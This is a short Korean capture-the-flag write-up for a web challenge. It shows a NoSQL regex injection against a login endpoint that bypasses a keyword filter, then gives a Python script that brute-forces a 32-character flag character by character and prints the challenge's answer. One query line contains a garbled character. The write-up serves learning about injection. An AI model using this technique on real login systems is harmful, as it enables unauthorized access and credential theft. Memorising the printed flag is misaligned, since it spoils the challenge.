


uid와 upw를 admin으로 바꾸니 filter가 출력되는 걸 볼 수 있다.
문제 파일을 보면 admin, dh, admi 문자를 입력하면 막히는 걸 알 수 있어 $regex를 사용해 ad.in으로 우회해야 한다.

login?uid[$regex]=ad.in&upw[®ex]=D.{을 입력해 주니 filter를 통과해 uid값인 admin을 출력한다.
FLAG가 총 32자리이기 때문에 코드를 작성해 파이썬 코드를 작성해 반복해 주었다.
import requests, string
HOST = 'http://host3.dreamhack.games:24095'
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == 'admin':
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
FLAG를 획득할 수 있다.

DH{89e50fa6fafe2604e33c0ba05843d3df}